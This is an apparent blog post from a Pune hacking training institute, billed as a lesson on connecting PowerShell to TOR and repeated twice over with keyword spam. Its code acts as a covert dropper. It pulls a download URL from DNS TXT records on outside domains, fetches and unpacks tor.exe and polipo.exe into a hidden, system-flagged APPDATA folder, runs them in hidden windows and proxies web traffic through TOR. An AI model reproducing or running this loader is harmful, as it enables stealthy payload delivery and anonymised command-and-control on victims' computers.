Filename | Fun with Powershell: Using TOR with Powershell. |
Permission | rw-r--r-- |
Author | Unknown |
Date and Time | 5/05/2015 |
Label | Penetration |
Action |
Ethical Hacking Institute in Pune
./Arizona Team
In this article, I will teach you guys on how to connect to TOR network using Powershell.
Powershell is a powerful weapon for Hackers. Those who think that programming is not necessary in Hacking or Security Field just go and watch "POGO".
Powershell Code:
function Get-DnsTXTRecord($DnsHost)
{
$ZipFileUri = (((Invoke-Expression "nslookup -querytype=txt $DnsHost 8.8.8.8") -match '"') -replace '"', '')[0].Trim()
$WebClient.DownloadFile($ZipFileUri, $ZipPath)
$Destination = $Shell.NameSpace($ZipPath).Items();
# Decompress files
$Shell.NameSpace($ToolsPath).CopyHere($Destination, 20)
Remove-Item $ZipPath
}
$ToolsPath = Join-Path $Env:APPDATA $MachineGuid
# Mark the path where tools are extracted as 'Hidden', 'System', 'NotContentIndexed'
if (!(Test-Path $ToolsPath))
{
$Directory = New-Item -ItemType Directory -Force -Path $ToolsPath
$Directory.Attributes = 'Hidden', 'System', 'NotContentIndexed'
}
$Tor = Join-Path $ToolsPath 'tor.exe'
$Polipo = Join-Path $ToolsPath 'polipo.exe'
$ZipPath = Join-Path $ToolsPath ($MachineGuid + '.zip')
$WebClient = New-Object Net.WebClient
$Shell = New-Object -ComObject Shell.Application
if (!(Test-Path $Tor) -or !(Test-Path $Polipo))
{
Get-DnsTXTRecord 'REDACTEDREDACTED.de'
}
if (!(Test-Path $Tor) -or !(Test-Path $Polipo))
{
Get-DnsTXTRecord 'REDACTEDREDACTED.cc'
}
$TorRoamingLog = Join-Path $ToolsPath 'roaminglog'
# Start Tor and maintain an initialization log file
Start-Process $Tor -ArgumentList " --Log `"notice file $TorRoamingLog`"" -WindowStyle Hidden
# Wait for Tor to finish initializing
do
{
Start-Sleep 1
$LogContents = Get-Content $TorRoamingLog
}
while (!($LogContents -match 'Bootstrapped 100%: Done.'))
# Start polipo proxy
Start-Process $Polipo -ArgumentList 'socksParentProxy=localhost:9050' -WindowStyle Hidden
Start-Sleep 7
$WebProxy = New-Object Net.WebProxy('localhost:8123')
$WebProxy.UseDefaultCredentials = $True
$WebClient.Proxy = $WebProxy
www.arizonainfotech.com
CEHv8 CHFIv8 ECSAv8 CAST ENSA CCNA CCNA SECURITY MCITP RHCE CHECKPOINT ASA FIREWALL VMWARE CLOUD ANDROID IPHONE NETWORKING HARDWARE TRAINING INSTITUTE IN PUNE, Certified Ethical Hacking, Center For Advanced Security Training in India, IT Security Training Information Security Traning Courses in Pune, ceh certification in pune, Ethical Hacking Course in Pune
./Arizona Team
In this article, I will teach you guys on how to connect to TOR network using Powershell.
Powershell is a powerful weapon for Hackers. Those who think that programming is not necessary in Hacking or Security Field just go and watch "POGO".
Powershell Code:
function Get-DnsTXTRecord($DnsHost)
{
$ZipFileUri = (((Invoke-Expression "nslookup -querytype=txt $DnsHost 8.8.8.8") -match '"') -replace '"', '')[0].Trim()
$WebClient.DownloadFile($ZipFileUri, $ZipPath)
$Destination = $Shell.NameSpace($ZipPath).Items();
# Decompress files
$Shell.NameSpace($ToolsPath).CopyHere($Destination, 20)
Remove-Item $ZipPath
}
$ToolsPath = Join-Path $Env:APPDATA $MachineGuid
# Mark the path where tools are extracted as 'Hidden', 'System', 'NotContentIndexed'
if (!(Test-Path $ToolsPath))
{
$Directory = New-Item -ItemType Directory -Force -Path $ToolsPath
$Directory.Attributes = 'Hidden', 'System', 'NotContentIndexed'
}
$Tor = Join-Path $ToolsPath 'tor.exe'
$Polipo = Join-Path $ToolsPath 'polipo.exe'
$ZipPath = Join-Path $ToolsPath ($MachineGuid + '.zip')
$WebClient = New-Object Net.WebClient
$Shell = New-Object -ComObject Shell.Application
if (!(Test-Path $Tor) -or !(Test-Path $Polipo))
{
Get-DnsTXTRecord 'REDACTEDREDACTED.de'
}
if (!(Test-Path $Tor) -or !(Test-Path $Polipo))
{
Get-DnsTXTRecord 'REDACTEDREDACTED.cc'
}
$TorRoamingLog = Join-Path $ToolsPath 'roaminglog'
# Start Tor and maintain an initialization log file
Start-Process $Tor -ArgumentList " --Log `"notice file $TorRoamingLog`"" -WindowStyle Hidden
# Wait for Tor to finish initializing
do
{
Start-Sleep 1
$LogContents = Get-Content $TorRoamingLog
}
while (!($LogContents -match 'Bootstrapped 100%: Done.'))
# Start polipo proxy
Start-Process $Polipo -ArgumentList 'socksParentProxy=localhost:9050' -WindowStyle Hidden
Start-Sleep 7
$WebProxy = New-Object Net.WebProxy('localhost:8123')
$WebProxy.UseDefaultCredentials = $True
$WebClient.Proxy = $WebProxy
www.arizonainfotech.com
CEHv8 CHFIv8 ECSAv8 CAST ENSA CCNA CCNA SECURITY MCITP RHCE CHECKPOINT ASA FIREWALL VMWARE CLOUD ANDROID IPHONE NETWORKING HARDWARE TRAINING INSTITUTE IN PUNE, Certified Ethical Hacking, Center For Advanced Security Training in India, IT Security Training Information Security Traning Courses in Pune, ceh certification in pune, Ethical Hacking Course in Pune